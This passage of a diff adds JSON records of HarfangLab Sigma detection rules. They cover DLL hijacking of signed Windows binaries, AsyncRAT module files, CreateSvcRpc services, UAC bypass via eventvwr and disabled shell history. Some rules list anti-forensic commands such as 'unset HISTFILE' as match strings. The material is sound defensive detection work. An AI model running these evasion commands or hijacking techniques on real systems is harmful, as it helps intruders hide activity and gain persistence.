+  "content": "title: DLL Hijacking via NLB.exe\nid: 9cbee887-963e-4baf-92c7-ec0b87858928\ndescription: |\n    Detects potential Windows DLL Hijacking via NLB.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'NLB.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9cbee887-963e-4baf-92c7-ec0b87858928",
+  "rule_name": "DLL Hijacking via NLB.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via NLB.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9cd94b9b-183d-4cc3-8f2c-9ef79bd7d733",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094289Z",
+  "creation_date": "2026-03-23T11:45:34.094291Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094295Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_omadmrpc.yml",
+  "content": "title: DLL Hijacking via omadmrpc.exe\nid: 9cd94b9b-183d-4cc3-8f2c-9ef79bd7d733\ndescription: |\n    Detects potential Windows DLL Hijacking via omadmrpc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'omadmrpc.exe'\n        ImageLoaded|endswith:\n            - '\\dmpushproxy.dll'\n            - '\\omadmapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9cd94b9b-183d-4cc3-8f2c-9ef79bd7d733",
+  "rule_name": "DLL Hijacking via omadmrpc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via omadmrpc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9ce1f97a-87d5-4750-9c6d-729163e4c865",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086306Z",
+  "creation_date": "2026-03-23T11:45:34.086308Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086312Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/",
+    "https://twitter.com/malmoeb/status/1555926311738171398",
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_asyncrat_data_collection_dlls.yml",
+  "content": "title: AsyncRAT Data Collection DLL Written to Disk\nid: 9ce1f97a-87d5-4750-9c6d-729163e4c865\ndescription: |\n    Detects the creation of DLLs files associated with AsyncRAT that allows for various data collection abilities.\n    AsyncRAT is an open-source C-sharp C2 that is usually the last piece of the infection chain.\n    AsyncRAT loads modules by downloading DLLs from the C2 server and dropping them on the local system.\n    It is recommended to check the DLL for malicious content and the processes creating/loading the DLL for other suspicious activities.\nreferences:\n    - https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/\n    - https://twitter.com/malmoeb/status/1555926311738171398\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2022/08/08\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Malware.AsyncRAT\n    - classification.Windows.Behavior.Collection\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            - '?:\\Chat.dll'\n            - '?:\\Extra.dll'\n            - '?:\\FileManager.dll'\n            - '?:\\FileSearcher.dll'\n            - '?:\\LimeLogger.dll'\n            - '?:\\Miscellaneous.dll'\n            - '?:\\Options.dll'\n            - '?:\\ProcessManager.dll'\n            - '?:\\Recovery.dll'\n            - '?:\\RemoteCamera.dll'\n            - '?:\\RemoteDesktop.dll'\n            - '?:\\SendFile.dll'\n            - '?:\\SendMemory.dll'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9ce1f97a-87d5-4750-9c6d-729163e4c865",
+  "rule_name": "AsyncRAT Data Collection DLL Written to Disk",
+  "rule_description": "Detects the creation of DLLs files associated with AsyncRAT that allows for various data collection abilities.\nAsyncRAT is an open-source C-sharp C2 that is usually the last piece of the infection chain.\nAsyncRAT loads modules by downloading DLLs from the C2 server and dropping them on the local system.\nIt is recommended to check the DLL for malicious content and the processes creating/loading the DLL for other suspicious activities.\n",
+  "rule_creation_date": "2022-08-08",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d004cbd-eea7-4a6c-a0ab-87f2313e82b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599052Z",
+  "creation_date": "2026-03-23T11:45:34.599055Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599063Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.x86matthew.com/view_post?id=create_svc_rpc",
+    "https://attack.mitre.org/techniques/T1569/002"
+  ],
+  "name": "t1569_002_createsvcrpc_default_service.yml",
+  "content": "title: CreateSvcRpc Service Installed\nid: 9d004cbd-eea7-4a6c-a0ab-87f2313e82b9\ndescription: |\n    Detects the creation of the malicious CreateSvcRpc tool service.\n    CreateSvcRpc is a tool that uses RPC to execute programs as the SYSTEM user, by creating a service.\n    Adversaries can create services to elevate their privileges or achieve persistence.\n    It is recommended to investigate the process responsible for the creation of this service and to look for other malicious activities on the host.\nreferences:\n    - https://www.x86matthew.com/view_post?id=create_svc_rpc\n    - https://attack.mitre.org/techniques/T1569/002\ndate: 2023/03/28\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.003\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.ServiceCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 7045\n        ServiceName: 'CreateSvcRpc_*'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d004cbd-eea7-4a6c-a0ab-87f2313e82b9",
+  "rule_name": "CreateSvcRpc Service Installed",
+  "rule_description": "Detects the creation of the malicious CreateSvcRpc tool service.\nCreateSvcRpc is a tool that uses RPC to execute programs as the SYSTEM user, by creating a service.\nAdversaries can create services to elevate their privileges or achieve persistence.\nIt is recommended to investigate the process responsible for the creation of this service and to look for other malicious activities on the host.\n",
+  "rule_creation_date": "2023-03-28",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d024265-ae4d-4cda-881f-ad0ed35e3605",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097784Z",
+  "creation_date": "2026-03-23T11:45:34.097786Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097790Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdpshell.yml",
+  "content": "title: DLL Hijacking via rdpshell.exe\nid: 9d024265-ae4d-4cda-881f-ad0ed35e3605\ndescription: |\n    Detects potential Windows DLL Hijacking via rdpshell.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdpshell.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\WINSTA.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d024265-ae4d-4cda-881f-ad0ed35e3605",
+  "rule_name": "DLL Hijacking via rdpshell.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdpshell.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d058b26-a1ae-4de9-adb0-eb2b31f22412",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093079Z",
+  "creation_date": "2026-03-23T11:45:34.093081Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093085Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_eventvwr.yml",
+  "content": "title: UAC Bypass Executed via eventvwr\nid: 9d058b26-a1ae-4de9-adb0-eb2b31f22412\ndescription: |\n    Detects a process being spawned by eventvwr.exe.\n    Eventvwr.exe does not normally spawn any process, this action is probably the result of an UAC bypass attempt.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/01/04\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\eventvwr.exe'\n\n    filter_mmc:\n        Image|endswith:\n            - 'Windows\\System32\\mmc.exe'\n            - 'Windows\\SysWOW64\\mmc.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d058b26-a1ae-4de9-adb0-eb2b31f22412",
+  "rule_name": "UAC Bypass Executed via eventvwr",
+  "rule_description": "Detects a process being spawned by eventvwr.exe.\nEventvwr.exe does not normally spawn any process, this action is probably the result of an UAC bypass attempt.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2021-01-04",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d367155-ba9c-41bb-b835-4aff6b06be37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611739Z",
+  "creation_date": "2026-03-23T11:45:34.611743Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611750Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md",
+    "https://attack.mitre.org/techniques/T1070/003/"
+  ],
+  "name": "t1070_003_disable_history_file_linux.yml",
+  "content": "title: Shell History File Disabled\nid: 9d367155-ba9c-41bb-b835-4aff6b06be37\ndescription: |\n    Detects the shell history file being disabled.\n    Attackers may disable the shell history to hide the actions undertaken during an intrusion.\n    It is recommended to investigate the parent process for other suspicious actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md\n    - https://attack.mitre.org/techniques/T1070/003/\ndate: 2023/01/03\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_commandline:\n        CommandLine|contains:\n            - 'unset HISTFILE'\n            - 'export HISTFILESIZE=0'\n\n    # echo 'set +o history' >> ~/.bashrc\n    selection_bashrc:\n        CommandLine|contains|all:\n            - 'set +o history'\n            - '.bashrc'\n\n    condition: 1 of selection_*\nlevel: high\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d367155-ba9c-41bb-b835-4aff6b06be37",
+  "rule_name": "Shell History File Disabled",
+  "rule_description": "Detects the shell history file being disabled.\nAttackers may disable the shell history to hide the actions undertaken during an intrusion.\nIt is recommended to investigate the parent process for other suspicious actions.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d77db37-0fd9-4f9a-8810-227bf3e3dba3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091882Z",
+  "creation_date": "2026-03-23T11:45:34.091883Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091888Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msiinfo.yml",
+  "content": "title: DLL Hijacking via MsiInfo.exe\nid: 9d77db37-0fd9-4f9a-8810-227bf3e3dba3\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiInfo.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiInfo.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9d77db37-0fd9-4f9a-8810-227bf3e3dba3",
+  "rule_name": "DLL Hijacking via MsiInfo.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiInfo.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9d965041-1ded-463b-8d40-a6c515dd2f80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
